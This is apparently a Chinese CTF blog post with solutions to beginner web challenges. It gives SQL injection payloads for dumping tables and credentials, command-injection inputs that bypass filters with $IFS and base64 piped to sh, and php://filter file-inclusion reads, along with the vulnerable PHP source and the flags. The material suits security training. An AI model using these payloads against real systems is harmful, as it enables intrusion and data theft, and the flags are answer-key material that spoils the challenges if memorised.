Loading...  [首頁 - OWASP Top 10:2021](https://owasp.org/Top10/zh_CN/) ## [极客大挑战 2019]EasySQL 类型:sql注入 使用万能密码  `flag{f580db5b-c0c9-4b13-bfb6-adfa525c93f5}` ## [极客大挑战 2019]Havefun 类型:代码审计 F12打开浏览器控制台  GET请求,在url添加参数`/?cat=dog`访问 返回`flag{f60c7d5c-9f44-4e92-88c0-6ae7a3fc57ec}` ## [HCTF 2018]WarmUp 类型:代码审计 漏洞:文件包含  看到提示文件,在url后面添加`/source.php` > 代码审计 > is_string():检测变量是否是字符串 > isset():检测变量是否已设置并且非 NULL > in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值 > mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值 > mb_strpos():查找字符串在另一个字符串中首次出现的位置 > urldecode():将url编码后的字符串还原成未编码的样子 > > **empty()** 函数用于检查一个变量是否为空。 ```php <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //如果page的值为空或者不是字符串 if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } //检测page的值是否在白名单中 if (in_array($page, $whitelist)) { return true; } //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置 ); //检验page的值是否在白名单内 if (in_array($_page, $whitelist)) { return true; } //将url编码后的字符串还原成未编码的样子,然后赋值给page $_page = urldecode($page); //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置 ); //检验page的值是否在白名单内 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?> ```  `flag{71d5471b-59ee-4963-b259-0e1fcca0c7bf}` ## [ACTF2020 新生赛]Include 刚进来啥也没,点击一个tips跟进,跳到了/?file=flag.php 猜测使用伪协议   在url后添加`/?file=php://filter/read=convert.base64-encode/resource=flag.php` 将得到的密文进行base64解密: `<?php echo "Can you find out the flag?"; //flag{a4a86ba1-eeee-4c63-b56c-fc35e764ddc0}` ## [ACTF2020 新生赛]Exec 命令执行:`127.0.0.1|ls|cat /flag`  `flag{7cbb49ea-8bd6-4c72-b349-12196ad5edcd}` ## [GXYCTF2019]Ping Ping Ping 根据提示,在url后面添加`/?ip=127.0.0.1|ls /` 回显`/?ip= fxck your space!`space是空格,应该是空格被过滤。 > {cat,flag.txt} > cat${IFS}flag.txt > `cat$IFS$9flag.txt`: `$IFS$9 $9指传过来的第9个参数` > cat<flag.txt > cat<>flag.txt > `kg=$'\x20flag.txt'&&cat$kg` > (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过) 试试第一个方法:`/?ip=127.0.0.1|{cat,flag.php}` 回显`/?ip= fxck your symbol!`说明`{}`大括号被过滤了,那第二个不能用了。 那构造第三个:`/?ip=127.0.0.1|ls|cat$IFS$9flag.php` 回显`/?ip= fxck your flag!`说明`flag`字符串也被过滤了。 那就再构造看另一个文件`/?ip=127.0.0.1|ls|cat$IFS$9index.php` 控制台回显源码:  ```php <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4 echo "<pre>"; print_r($a); } ?> ``` 过滤了一堆,但是有个变量$a,可以利用,借鉴大佬: **方法一:变量拼接字符串——将a的值覆盖,然后进行绕过** 构造payload:`/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php`  **方法二:内联执行** 内联函数:将指定的函数体插入并取代每一处调用该函数的地方。 反引号在linux中作为内联执行,执行输出结果。也就是说 ``` cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php ``` 构造payload: ``` /?ip=127.0.0.1;cat$IFS$9`ls` ``` **方法三:sh命令来执行** 使用 base64 编码的方式来绕过 flag 过滤。 加密命令 echo “cat flag.php” | base64 解密命令并执行 echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh 然后用`$IFS$9`代替空格。 构造payload:`/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh` ## [强网杯 2019]随便注 然后想尝试联合查询 结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 发现过滤了select|update|delete|drop|insert|where|\./i 爆数据库:1';show databases;# 有显示数据库,但是没用 爆表名:`1'; show tables;#`  出来两个表 爆字段:`1'; show columns from words;#`  继续爆字段:`1'; show columns from '1919810931114514';#` 注意:表名为数字时,要用反引号包起来查询。  发现1919810931114514表中有flag 可以猜测,这个输入框是搜索当前数据库里的表id号应该,回显得数据就是表words里的两个字段id和data,但是我们flag在当前数据库的`1919810931114514`表里的flag字段里。 所以思路如下: > 通过 rename 先把 words 表改名为其他的表名。 > 把 1919810931114514 表的名字改为 words 。 > 给新 words 表添加新的列名 id 。 > 将 flag 改名为 data 。 > 1'; rename table words to word1; rename table '1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);# `flag{a5add3e2-e475-416e-85c1-325d583c826e}` **第二种方法:利用concat拼接(mysql的语法知识)** -1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q 这里set为变量赋值 PREPARE设置sql查询语法 EXECUTE 执行函数 ## [SUCTF 2019]EasySQL [(33条消息) [SUCTF 2019]EasySQL 1 Writeup(超级详细)\_StevenOnesir的博客-CSDN博客](https://blog.csdn.net/StevenOnesir/article/details/110203051) [CTF学习笔记——sql注入(2)\_pipes\_as\_concat-CSDN博客](https://blog.csdn.net/Obs_cure/article/details/108023807) 说一下他的重点思路: > 他的后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。 > 所以猜测后端: > > select $_POST['query'] || flag from flag > > 上面只是个猜测啊。。。 > 可能不是flag是Flag,也可能from 别的地方。 > > 但假设是这样的结构我们做一下。||是肯定有的。 还可以堆叠查询,爆库,爆表 **方法三** > 1;set sql_mode=pipes_as_concat;select 1 > > pipes_as_concat就是把 || 设置成了 concat函数呗。。。但是要注意分号隔断了前面的命令,所以要再次添加select!! > > 上面那句执行后是:select concat(1,flag) from Flag ## [极客大挑战 2019]Secret File 感觉又是文件包含,打开环境,F12打开控制台,点击href跳转  进入新的页面,继续点href  再跳转到新的页面什么也没有就结束了,所以在这个页面,我们请点击抓包,就能发现他的秘密  所以我们就在url后面添加`/secr3t.php`访问一下这个隐藏文件吧  继续可以看到他提示我们//flag放在了flag.php里,所以我们在url后面添加`/flag.php`访问一下 哈哈哈,作者很调皮呀,估计是要用php伪协议的知识了。 构造payload: `/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php` 得到的base64数据进行解码就得到`flag{949761f3-c669-49ce-9727-b7b59293162c}` ## [极客大挑战 2019]LoveSQL 类型:SQL注入,联合查询 首先尝试万能密码:  使用他提示的用户名和密码并没有什么用。 此时我应该先贴上一张图:  尝试使用联合查询:三次尝试后在密码框输入`1'union select 1,2,3#`会有数据回显 继续爆用户名,数据库名:在密码框输入`1'union select 1,user(),database()#`  继续爆表名:`1'union select 1,user(),table_name from information_schema.tables where table_schema=database() limit 0,1#`得到geekuser表名 继续爆表名:`1'union select 1,user(),table_name from information_schema.tables where table_schema=database() limit 1,1#`得到l0ve1ysq1表名 爆字段名:`1'union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#` 得到字段`id,username,password`最后爆数据: `1'union select 1,user(),group_concat(id,username,password) from l0ve1ysq1#` **我愿称之为经典例题** 最后得到`flag{61660ae0-4cbf-4c44-8b7b-398728a970d1}` 最后修改:2023 年 10 月 12 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 10 如果觉得我的文章对你有用,请随意赞赏